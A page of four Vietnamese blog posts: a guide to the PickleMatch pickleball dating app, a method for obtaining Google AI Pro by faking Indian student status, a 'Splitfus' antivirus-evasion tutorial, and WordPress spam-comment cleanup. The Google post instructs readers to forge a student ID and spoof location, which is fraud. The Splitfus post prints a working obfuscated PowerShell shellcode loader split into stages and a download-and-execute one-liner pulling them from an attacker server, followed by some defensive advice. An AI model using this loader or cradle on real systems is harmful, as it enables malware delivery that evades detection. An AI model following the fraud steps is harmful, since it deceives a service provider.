Don't wanna be here? Send us removal request.
Link
Cơn sốt pickleball đang càn quét Việt Nam, biến mỗi sân đấu thành một cộng đồng thu nhỏ đầy năng lượng và kết nối.Từ một môn thể thao mới du nhập năm 2018, pickleball đã bùng nổ mạnh mẽ, đặc biệt từ đầu năm 2024, thu hút hàng chục nghìn người chơi thường xuyên. Giữa không khí sôi động đó, nhiều người nhận ra sân chơi không chỉ là nơi rèn luyện sức khỏe mà còn là địa điểm lý tưởng để tìm kiếm những mối quan hệ mới, thậm chí là tình yêu. Nắm bắt xu hư��ng này, ứng dụng hẹn hò PickleMatch đã ra đời, hứa hẹn sẽ thay đổi cách chúng ta "quẹt phải" tìm duyên. Bài viết này sẽ là cẩm nang toàn diện, hướng dẫn bạn cách sử dụng PickleMatch một cách hiệu quả nhất, từ việc cài đặt, tạo hồ sơ cho đến những mẹo nhỏ để tìm được người bạn chơi và bạn đời ăn ý. PickleMatch là gì? PickleMatch là một ứng dụng hẹn hò được xây dựng dành riêng cho cộng đồng những người yêu thích môn thể thao pickleball. Ý tưởng này được nảy sinh từ chính trải nghiệm cá nhân của hai nhà đồng sáng lập, Annelise Niebauer và Michael Watson-Fore, khi họ cảm thấy mệt mỏi với sự gượng gạo, thiếu chân thật của các ứng dụng hẹn hò truyền thống. Tác giả App này nhận ra rằng, việc kết nối qua một đam mê chung, cụ thể là pickleball, sẽ tạo ra những tương tác tự nhiên và ý nghĩa hơn rất nhiều. Thay vì bắt đầu bằng những dòng tin nhắn xã giao nhàm chán, PickleMatch đảo ngược quy trình: Hoạt động chung -> Tương tác -> Kết nối. Mục tiêu của ứng dụng là đưa mọi người thoát khỏi màn hình điện thoại để gặp gỡ trực tiếp trên sân đấu Dù kết quả có là một tình yêu lãng mạn hay chỉ là một tình bạn mới, bạn vẫn luôn có được một trận đấu vui vẻ. Hướng Dẫn Cài Đặt PickleMatch Trên Điện Thoại (Android & iOS) Ứng dụng PickleMatch, do Annelise Niebauer sáng lập, hiện vẫn đang trong giai đoạn thử nghiệm tại thị trường Mỹ và chưa được phát hành chính thức toàn cầu, bao gồm cả Việt Nam. Dự kiến, phiên bản chính thức đầu tiên sẽ được triển khai tại bang Colorado (Mỹ) vào tháng 8 năm 2025. Tại thời điểm hiện tại, người dùng tại Việt Nam sẽ chưa thể Tải App PickleMatch trên App Store hoặc Google Play Store. Tuy nhiên, bạn có thể sẵn sàng đón đầu làn sóng mới bằng cách nắm vững quy trình cài đặt ứng dụng dưới đây để trở thành một trong những người đầu tiên trải nghiệm khi PickleMatch chính thức ra mắt. Với người dùng iOS, bạn cần mở App Store, tìm kiếm từ khóa "PickleMatch", sau đó chọn đúng ứng dụng do nhà phát triển liên quan đến Annelise Niebauer và Michael Watson-Fore phát hành. Khi ứng dụng chính thức hiển thị, bạn chỉ cần nhấn "Nhận" hoặc biểu tượng đám mây để tải và cài đặt. Với người dùng Android, bạn hãy mở Google Play Store, nhập "PickleMatch" vào thanh tìm kiếm, lựa chọn đúng ứng dụng chính thức và nhấn nút "Cài đặt" để bắt đầu tải về. *Lưu ý: Hiện có nhiều ứng dụng có tên gọi tương tự như “Pickleball Match” hay “Piqle Finder”. Để tránh tải nhầm, bạn nên theo dõi các kênh chính thức từ đội ngũ sáng lập trước khi tiến hành cài đặt.* Cách Sử Dụng PickleMatch Chi Tiết Từ A-Z Sau khi cài đặt thành công, bạn đã sẵn sàng bước vào thế giới kết nối của những người yêu thể thao qua PickleMatch. Dưới đây là hướng dẫn chi tiết giúp bạn sử dụng ứng dụng hiệu quả nhất. Bước 1: Tạo Hồ Sơ Cá Nhân PickleMatch cho phép người dùng thể hiện cá tính không chỉ qua thông tin cơ bản như tuổi, giới tính, xu hướng tình cảm và vị trí địa lý. Điều tạo nên sự khác biệt của ứng dụng chính là các trường thông tin chuyên biệt về pickleball, bao gồm trình độ chơi (Skill Level), sân chơi yêu thích (Home Courts) và vận động viên chuyên nghiệp mà bạn yêu thích. Đây là cách để bạn dễ dàng kết nối với những người cùng đam mê. Đừng quên đăng tải những bức ảnh đẹp nhất của bạn, đặc biệt là những khoảnh khắc bạn tỏa sáng trên sân đấu. Bước 2: Tìm bạn chơi PickelBall Giao diện của PickleMatch thân thiện và hiện đại, mang lại trải nghiệm quen thuộc giống như các ứng dụng hẹn hò nổi tiếng. Bạn có thể lướt qua hồ sơ những người được gợi ý, quẹt phải nếu cảm thấy hứng thú hoặc quẹt trái để bỏ qua. Ngoài ra, ứng dụng còn tích hợp bộ lọc thông minh, giúp bạn dễ dàng tìm kiếm người phù hợp theo độ tuổi, giới tính, vị trí và đặc biệt là trình độ chơi pickleball – yếu tố then chốt để tạo nên một kết nối chất lượng. Bước 3: Tương Tác và Gửi Lời Mời Khi cả hai cùng “quẹt phải”, một kết nối tương hợp sẽ được thiết lập và bạn có thể bắt đầu trò chuyện. PickleMatch mang đến một tính năng độc quyền – **Game Invite**. Thay vì kéo dài những cuộc trò chuyện không hồi kết, bạn có thể chủ động gửi lời mời chơi pickleball. Tính năng này giúp bạn nhanh chóng chuyển từ tương tác ảo sang trải nghiệm thực tế, đồng thời nâng cao khả năng kết nối chân thật hơn. Bước 4: Gặp Gỡ và Trải Nghiệm Trận Đấu Ngoài Đời Thật Điểm độc đáo của PickleMatch là hướng đến việc tạo ra những cuộc gặp gỡ ngoài đời thực. Việc cùng nhau tham gia một trận đấu pickleball mang đến môi trường giao tiếp thân thiện, thoải mái và ít áp lực. Dù có phát sinh cảm xúc tình cảm hay không, bạn vẫn có được niềm vui vận động và những người bạn mới trong cộng đồng yêu thể thao. Câu Hỏi Thường Gặp (FAQ) Về Cách Sử Dụng PickleMatch Ứng dụng PickleMatch có miễn phí không? Theo các thông tin thử nghiệm, PickleMatch hiện miễn phí tải về và sử dụng với các tính năng cơ bản như tạo hồ sơ, tìm kiếm và kết nối. Tuy nhiên, trong tương lai ứng dụng có thể bổ sung thêm các tính năng cao cấp có trả phí. Khi nào PickleMatch sẽ chính thức ra mắt tại Việt Nam? Hiện vẫn chưa có thông báo chính thức về lịch phát hành tại Việt Nam. Ứng dụng sẽ được phổ biến trước tiên tại Mỹ, sau đó mới mở rộng đến các quốc gia khác. Người dùng tại Việt Nam cần kiên nhẫn chờ đợi. Tôi có thể dùng PickleMatch chỉ để tìm người chơi, không phải hẹn hò không? Hoàn toàn có thể. PickleMatch không chỉ là nền tảng hẹn hò mà còn là công cụ tìm bạn chơi thể thao. Bạn có thể sử dụng ứng dụng để tìm bạn đánh đôi ăn ý, kết nối khi đi công tác hoặc khám phá cộng đồng mới. Dữ liệu cá nhân trên PickleMatch có an toàn không? Ứng dụng sẽ áp dụng chính sách bảo mật riêng để bảo vệ thông tin người dùng. Khi tải và sử dụng, bạn nên đọc kỹ điều khoản để nắm rõ quyền riêng tư và cách dữ liệu được sử dụng. Có ứng dụng nào tương tự PickleMatch tại Việt Nam không? Hiện tại vẫn chưa có ứng dụng nào chuyên biệt cho pickleball tại Việt Nam. Tuy nhiên, bạn có thể sử dụng các nền tảng như Reclub hoặc Booking Sports để tìm người chơi và đặt sân cho các môn thể thao phổ biến, bao gồm cả pickleball. Ngoài ra, bạn có thể tham gia các nhóm trên Facebook hoặc Zalo để kết nối với cộng đồng pickleball trong nước.
0 notes
Link
Theo chính sách của Google Ấn Độ, hiện nay sinh viên tại các trường Đại học, cao đẳng Ấn Độ có thể nhận 12 tháng Google AI Pro miễn phí. Như vậy bạn có thể sử dụng Gemini 2.5 Pro thỏa mái, không bị giới hạn. Bạn hoàn toàn có thể làm miễn phí mà không tốn bất cứ xu nào. Hãy thực hiện theo cách sau: Cách tạo Google AI Pro 12 tháng miễn phí Khi đăng ký Gói Gemini AI Pro của Google miễn phí bạn sẽ được đi kèm với 2TB dung lượng lưu trữ Google Drive và cho phép bạn truy cập vào các tính năng nâng cao như Deep Research, giới hạn nhiều hơn trong NotebookLM và Gemini for Workspace. Bước 1: Tạo tài khoản Google mới với thông tin sinh nhật vào năm 2005, mục đích là để đúng tuổi sinh viên của Ấn Độ hiện tại. Để không bị verify số điện thoại khi tạo tài khoản Google, bạn có thể dùng mẹo sau: Tắt Modem Internet rồi mở lại để lấy IP mới -> Mở Chrome ẩn danh (Ctrl + Shift + N), mở trang https://youtube.com, chọn Đăng nhập -> Tạo tài khoản mới. Ở bước điền ngày tháng năm sinh nhớ để năm 2005 nhé. Sau khi có tài khoản mới thì lưu tài khoản, mật khẩu lại và qua bước 2. Bước 2: Trên trình duyệt Chrome, Cài Extension Urban VPN Proxy tại địa chỉ https://chromewebstore.google.com/detail/urban-vpn-proxy/eppiocemhmnlbhjplcgkofciiegomcon. Sau đó chọn India và Connect, kiểm tra kết nối thấy Connected là bạn đã Fake IP qua Ấn Độ được rồi nhé Bước 3: Truy cập trang Google AI Student tại địa chỉ Nếu thấy giao diện bên dưới thì bạn Fake IP thành công, nếu thấy thông báo This offer is not available thì kiểm tra lại xem IP đã qua Ấn Độ chưa nhé. Bây giờ nhấn vào nút Verify eligbility Bước 4: Tại bước này bạn cần nhập thông tin sinh viên Ấn Độ của bạn. Để tạo 1 thẻ sinh viên Ấn Độ bạn có thể vào trang này để tạo ra 1 thẻ sinh viên với thông tin riêng của bạn. Truy cập vào trang tạo thẻ sinh viên Ấn Độ, nhập các thông tin bạn muốn. Bạn chỉ cần thêm hình, họ tên, lớp, mã sinh viên là được. Nếu muốn chắc chắn thì thêm tất cả các trường thông tin. Sau đó nhấn Tải ảnh thẻ sinh viên về máy tính. Quay lại trang Google, bạn điền theo thông tin sau: School: SHRI RAM COLLEGE OF COMMERCE (North, Dehi) First name, last name: điền theo tên trong thẻ sinh viên đã tạo ở trên Date of birth: nhớ chọn năm sinh 2005 Email address: nhập Email đã tạo ở bước 1 Sau khi hoàn tất thì nhấn Verify student status Bước 5: Đây là bước quan trọng để Google xác minh bạn có phải là sinh viên hay không? Chọn vào Add document và đính kèm thẻ sinh viên vừa tạo ở trên. Sau đó nhấn Submit Bước 6: Sau đó bạn chờ đếm ngược 20 giây, nếu thấy thông báo: You've been verified thì xin chúc mừng bạn đã tạo thành công Google AI Pro 12 tháng miễn phí bằng tài khoản sinh viên Ấn Độ Cách sử dụng Google AI Pro Để sử dụng chức năng Google AI Pro bạn có thể truy cập vào trang Google Gemini. Kiểm tra ở góc bên phải xem lên xuất hiện được chữ PRO chưa? Nếu có thì bạn đã thành công, bây giờ bạn dùng Model 2.5 Pro không bị giới hạn theo ngày nửa. Ngoài ra bạn có thể truy cập vào trang https://notebooklm.google.com/ để khám phá các tính năng của AI Google dành cho sinh viên.
0 notes
Link
Hiện nay, các hệ thống phòng thủ như Antivirus (AV) và Endpoint Detection & Response (EDR) ngày càng mạnh mẽ. Tuy nhiên, các nhóm hacker vẫn liên tục sáng tạo những kỹ thuật tinh vi để vượt qua lớp bảo vệ này. Một trong những kỹ thuật phổ biến đó là Splitfus. Đây là phương pháp chia nhỏ mã độc PowerShell và làm rối code (obfuscate), sau đó thực thi từng phần theo nhiều giai đoạn (staged delivery). Vậy vì sao kỹ thuật này lại hiệu quả đến vậy? Hãy cùng mình đi tìm hiểu nhé ! Splitfus là gì ? Splitfus (viết tắt của Split + Obfuscation) là kỹ thuật mà hacker sử dụng để: Chia nhỏ (split) mã độc PowerShell thành nhiều đoạn, ví dụ: malware1.ps1, malware2.ps1, malware3.ps1,… Làm rối (obfuscate) từng đoạn mã để tránh bị phân tích hoặc phát hiện bởi chữ ký của AV Thực thi theo nhiều giai đoạn (staged execution): Khi thực hiện tấn công, máy nạn nhân sẽ tải từng đoạn mã từ máy chủ hacker và chạy trực tiếp trong bộ nhớ, thay vì lưu toàn bộ payload trên đĩa. Đây là kiểu thực thường được biết đến với tên gọi multi-stage attack hoặc fileless malware Tại sao Splitfus hiệu quả trong việc vượt qua Antivirus ? Giảm khả năng bị phát hiện theo chữ ký (signature-based detection) AV truyền thống dựa vào chữ ký hoặc mẫu mã độc. Khi mã độc được chia nhỏ và mã hóa, không có đoạn nào chứa toàn bộ payload, khiến việc phát hiện trở nên khó khăn Tránh quét tĩnh và sandbox Nếu toàn bộ payload nằm trong một file, AV dễ dàng phân tích trước khi chạy Với Splitfus, mã độc được tải động (on-demand) từ máy chủ hacker, nên môi trường sandbox khó tái hiện được toàn bộ quy trình Bypass AMSI (Antimalware Scan Interface) AMSI của Windows có khả năng quét nội dung PowerShell trước khi thực thi. Tuy nhiên, với Splitfus: Các đoạn mã nhỏ, obfuscated và tải động → khó bị AMSI phân tích đầy đủ Nhiều hacker còn kết hợp AMSI bypass với Splitfus để tăng hiệu quả Linh hoạt và dễ cập nhật Hacker có thể thay đổi một đoạn bất kỳ trên máy chủ mà không cần phát tán lại toàn bộ payload. Điều này khiến việc truy vết hoặc phát triển chữ ký AV trở nên khó hơn Phần lý thuyết đơn giản ngắn gọn vậy thôi, bây giờ mình sẽ lấy ví dụ thực tế cho bạn dễ hình dung hơn cách kỹ thuật được thực hiện Ví dụ thực tế Nhiều chiến dịch tấn công APT và malware framework như Cobalt Strike, PowerShell Empire, Metasploit đã áp dụng cơ chế tương tự Splitfus để phát tán payload staged. Đây là xu hướng phổ biến trong các cuộc tấn công fileless hiện nay. Được rồi, bây giờ cùng mình thử chạy 1 đoạn code Powershell sau: Write-Host "Invoke-Mimikatz" . Ồ bạn thấy đấy, Antivirus đã phát hiện và chặn đoạn mã này. Đây là chỉ 1 đoạn mã in ra chuỗi trên terminal mà tại sao lại bị chặn nhỉ ? Bởi vì nó chứa chuỗi ký tự “Invoke-Mimikatz”. Đây là một chữ ký (signature) cực kỳ nổi tiếng và đặc trưng của công cụ tấn công Mimikatz Như vậy, các AV được cấu hình để chặn ngay lập tức bất kỳ đoạn mã nào chứa chữ ký nguy hiểm này, ngay cả ở giai đoạn sớm nhất, nhằm ngăn chặn mọi ý đồ tiềm tàng liên quan đến Mimikatz. Đây là một biện pháp phòng ngừa rủi ro. Vậy là chúng ta đã biết cách AV được cấu hình, giờ hãy thử tách chuỗi "Invoke-Mimikatz" thành nhiều chuỗi ngắn khác nhau. Như bạn thấy, dù tách chuỗi thành các phần nhỏ như “Invo”, “ke”, “-Mim”, “ikatz”, AV vẫn không phát hiện ra đoạn mã độc. Sau đó, khi chúng ta nối lại các chuỗi này trong quá trình thực thi kết quả vẫn là “Invoke-Mimikatz” nhưng đã vượt qua được hệ thống phát hiện của AV. Đây chính là ví dụ đơn giản nhất của kỹ thuật Splitfus Bây giờ chúng ta cùng xem 1 ví dụ khai thác thực tế hơn với đoạn code Powershell sau, với file tên là sc-original.ps1 [Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3) function LookupFunc Where-Object $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp = $assem.GetMethods() function getDelegateType Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) Đây là đoạn mã Powershell thực thi Shellcode của calc.exe trên Windows, nếu chúng ta thực thi toàn bộ đoạn mã này thì sẽ bị AV chặn. Và lúc này mình sẽ áp dụng kĩ thuật Splitfus. Trước tiên mình sẽ sử dụng công cụ Chimera để xáo trộn đoạn mã này trở nên khó đọc hơn với câu lệnh sau ./chimera.sh -f sc-original.ps1 -l 3 -v -t -s -b -j -o sc-obf.ps1 Giờ đây, đoạn mã Powershell ban đầu đã được làm rối bằng cách thay đổi biến. Tiếp theo, mình sẽ chia tệp này thành nhiều phần nhỏ hơn để thực thi một cách rời rạc, khiến hệ thống bảo mật không thể phát hiện ra chữ ký đặc trưng của shellcode Tiếp theo, mình chia tệp sc-obf.ps1 thành 4 tệp riêng biệt: sc1.ps1 ( chứa biến lưu trữ Shellcode ), sc2.ps1 ( chứa hàm LookupFunc đã làm rối ), sc3.ps1 ( chứa hàm getDelegateType đã làm rối ) và sc4.ps1 ( chứa 3 dòng code cuối cùng ). Mỗi phần này nếu bị quét riêng lẻ sẽ không gây cảnh báo từ AV. Đây là đoạn code đã xáo trộn và tách ra riêng biệt từng file như mình nói #sc1.ps1 [Byte[]] $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3) #sc2.ps1 function iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs Param ($JzGCXcYJmJdQKoCerSqNXT, $LaHgzlZeSdXkwSwksNKHLbDEymlFp) $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd = ([AppDomain]::CurrentDomain.GetAssemblies() #sc3.ps1 function DdKSsQGFmFfVhpHEtVzHaZFCWQGs Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $GVUAdTXmnEpoFzPorhRfka,[Parameter(Position = 1)] [Type] $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB = [Void]) $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed') $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed') return $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.CreateType() #sc4.ps1 $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll VirtualAlloc),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe, 0, $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll CreateThread),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH,[IntPtr]::Zero,0,[IntPtr]::Zero) Các bước để thực hiện kĩ thuật Splitfus này cũng rất đơn giản. Đầu tiên, mình sử dụng lệnh sau để khởi tạo server Python trên cổng 80 với địa chỉ IP là 192.168.1.17: python3 -m http.server 80 Server này sẽ lưu các file script PowerShell đã tách nhỏ và làm rối, cho phép máy nạn nhân tải xuống từng phần riêng biệt. Cuối cùng mình tạo 1 đoạn lệnh thực thi ngắn gọn để thực thi trên máy nạn nhân 1..4 | ForEach-Object IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.1.17/sc$_.ps1") Lệnh này sẽ tải xuống và thực thi từng file script từ sc1.ps1 đến sc4.ps1. Đây là cách hiệu quả để vượt qua các cơ chế phát hiện mã độc vì mỗi phần riêng lẻ có thể trông vô hại. Khi kết hợp lại, chúng tạo thành một cuộc tấn công hoàn chỉnh mà nhiều giải pháp bảo mật không thể phát hiện Với Metasploit, việc tạo shellcode trở nên dễ dàng hơn rất nhiều. Mình sẽ sử dụng lệnh msfvenom để tạo ra shellcode mới, sau đó thay thế vào script sc1.ps1. Điều này cho phép mình tùy biến cuộc tấn công theo nhiều hướng khác nhau, từ lấy quyền điều khiển máy tính nạn nhân đến đánh cắp thông tin hoặc cài đặt backdoor https://streamable.com/rwoo4k Và đó là những ví dụ đơn giản, nhưng thực tế, mã độc PowerShell không hề đơn giản như vậy. Các hacker sẽ phải dùng thêm kĩ thuật Bypass AMSI để tăng tỉ lệ thành công Cách phòng thủ trước kỹ thuật Splitfus Kỹ thuật Splitfus là một trong những phương pháp tấn công bằng PowerShell tinh vi, khó phát hiện nếu hệ thống không được giám sát chặt chẽ. Để phòng thủ hiệu quả trước Splitfus, đội ngũ an ninh mạng cần triển khai đồng bộ nhiều biện pháp chủ động, từ việc giám sát hành vi cho đến xây dựng hệ thống cảnh báo sớm và đào tạo người dùng cuối. Tăng cường giám sát PowerShell PowerShell là công cụ thường bị lạm dụng trong các cuộc tấn công hiện đại. Để theo dõi hoạt động bất thường, hệ thống cần bật tính năng ghi nhật ký Script Block Logging (sử dụng Event ID 4104) kết hợp với Module Logging. Những thiết lập này giúp lưu lại toàn bộ lệnh PowerShell đã được thực thi, kể cả khi đã bị làm rối mã (obfuscate). Ngoài ra, nên kích hoạt chế độ Constrained Language Mode để hạn chế việc sử dụng các lệnh nguy hiểm trong môi trường thực thi PowerShell. Kích hoạt và bảo vệ AMSI (Antimalware Scan Interface) AMSI là lớp phòng vệ quan trọng giúp phân tích mã trước khi được thực thi trong PowerShell. Việc đảm bảo AMSI luôn được bật và không bị vượt qua (bypass) là điều thiết yếu. Khi tích hợp cùng Microsoft Defender hoặc các giải pháp EDR có hỗ trợ quét AMSI, khả năng phát hiện mã độc bị làm rối sẽ được nâng cao rõ rệt, giúp ngăn chặn sớm các hành vi tấn công từ Splitfus. Kiểm tra hành vi tải động trong hệ thống Một đặc điểm thường thấy của Splitfus là sử dụng các tham số nguy hiểm trong PowerShell như EncodedCommand hoặc gọi hàm IEX để tải mã từ xa thông qua chuỗi như (New-Object Net.WebClient).DownloadString. Hệ thống EDR hoặc HIDS cần được cấu hình để nhận diện những hành vi này. Đồng thời, cần cảnh giác khi phát hiện script được tải về từ domain không đáng tin cậy, đặc biệt là các yêu cầu HTTP GET chứa tập tin đuôi .ps1. Thiết lập kiểm soát truy cập mạng chặt chẽ Kiểm soát truy cập mạng đóng vai trò quan trọng trong việc ngăn chặn Splitfus giao tiếp với máy chủ điều khiển (C2 server). Cần chủ động chặn các kết nối outbound đến địa chỉ IP hoặc domain nghi ngờ. Việc cấu hình proxy kết hợp với kiểm tra TLS (TLS inspection) sẽ giúp phát hiện các hành vi tải mã ẩn dưới kết nối được mã hóa. Bên cạnh đó, cập nhật liên tục các chỉ số tấn công (IOC) từ nguồn Threat Intelligence Feed sẽ nâng cao khả năng nhận diện và phản ứng kịp thời. Cuối cùng, yếu tố con người luôn là mắt xích yếu nhất trong chuỗi phòng thủ. Việc tuyên truyền và đào tạo người dùng cuối nhằm nâng cao nhận thức bảo mật là điều bắt buộc. Nhân viên cần được hướng dẫn không chạy script từ các nguồn không rõ ràng. Đồng thời, kỹ năng nhận diện email giả mạo (phishing) cũng cần được chú trọng vì đây thường là điểm xuất phát của các cuộc tấn công Splitfus.
0 notes
Link
Nếu mới dựng Website Wordpress lên mà chưa kịp cài các plugin chặn spam comment thì chắc chắn kiểu gì bạn cũng sẽ bị hàng trăm bình luận rác mỗi ngày. Tình trạng spam comment diễn ra mỗi ngày một tinh vi và có thể vượt qua cả plugin Akismet Anti-spam: Spam Protection. Mình có 1 Website vệ tinh lâu quá không vào và thế là hứng gần 1500 bình luận rác, tất cả vẫn đang trong chế độ chờ duyệt. Để xóa nhanh tất cả bình luận rác trên Wordpress, bạn có thể thực hiện theo cách sau: Cách 1: Xóa Comment trong trang quản trị Wordpress Đây là cách đơn giản nhất, phù hợp với những website có số lượng bình luận rác ở mức thấp hoặc trung bình. Người quản trị chỉ cần truy cập vào bảng điều khiển WordPress, chọn mục “Comments” (Bình luận), sau đó chuyển sang tab “Spam” hoặc “Pending” để lọc ra các bình luận không hợp lệ. Tại đây, bạn có thể chọn toàn bộ bình luận hiển thị, thực hiện hành động “Move to Trash” (Chuyển vào thùng rác) và xác nhận. Mỗi trang thường hiển thị khoảng 20 bình luận, tuy nhiên bạn có thể tăng số lượng này lên 100 hoặc 200 bằng cách nhấn vào nút “Screen Options” (Tùy chọn màn hình) và chỉnh lại số lượng bình luận hiển thị trên 1 trang. Lưu ý nếu để số lượng quá lớn có thể là treo Website do chiếm nhiều tài nguyên xử lý php. Cách 2: Xóa Bằng SQL Hoặc WP-CLI Nếu bạn có quyền truy cập vào cơ sở dữ liệu của website thông qua phpMyAdmin hoặc dùng VPS có hỗ trợ SSH, thì việc xóa bình luận rác bằng câu lệnh SQL hoặc công cụ WP-CLI là lựa chọn nhanh và gọn nhất. Chỉ với một dòng lệnh SQL như DELETE FROM wp_comments WHERE comment_approved = 'spam';, toàn bộ bình luận bị đánh dấu là spam sẽ biến mất ngay lập tức. Nếu muốn xóa bình luận đang chờ duyệt, bạn chỉ cần thay đổi điều kiện thành comment_approved = '0'. Trong trường hợp sử dụng WP-CLI, bạn có thể dùng lệnh wp comment delete $(wp comment list --status=spam --format=ids) để xóa tất cả bình luận với 1 nút Enter. Cách 3: Dùng Plugin Để Xóa Hàng Loạt Bình Luận Rác Tự Động Đối với các website có khối lượng lớn bình luận spam, việc sử dụng plugin là giải pháp tối ưu. Plugin WP Bulk Delete là một lựa chọn phổ biến và dễ sử dụng. Sau khi cài đặt và kích hoạt plugin này, bạn chỉ cần truy cập vào mục quản lý bình luận trong WP Bulk Delete, chọn loại bình luận cần xóa như “Spam”, “Pending” hoặc “All”, sau đó nhấn nút xác nhận để tiến hành xóa hàng loạt. Thời gian thực hiện chỉ mất vài phút và không yêu cầu người dùng phải thao tác thủ công nhiều lần. Một số plugin khác như Delete Pending Comments bạn có thể tham khảo dùng thử
0 notes
Link
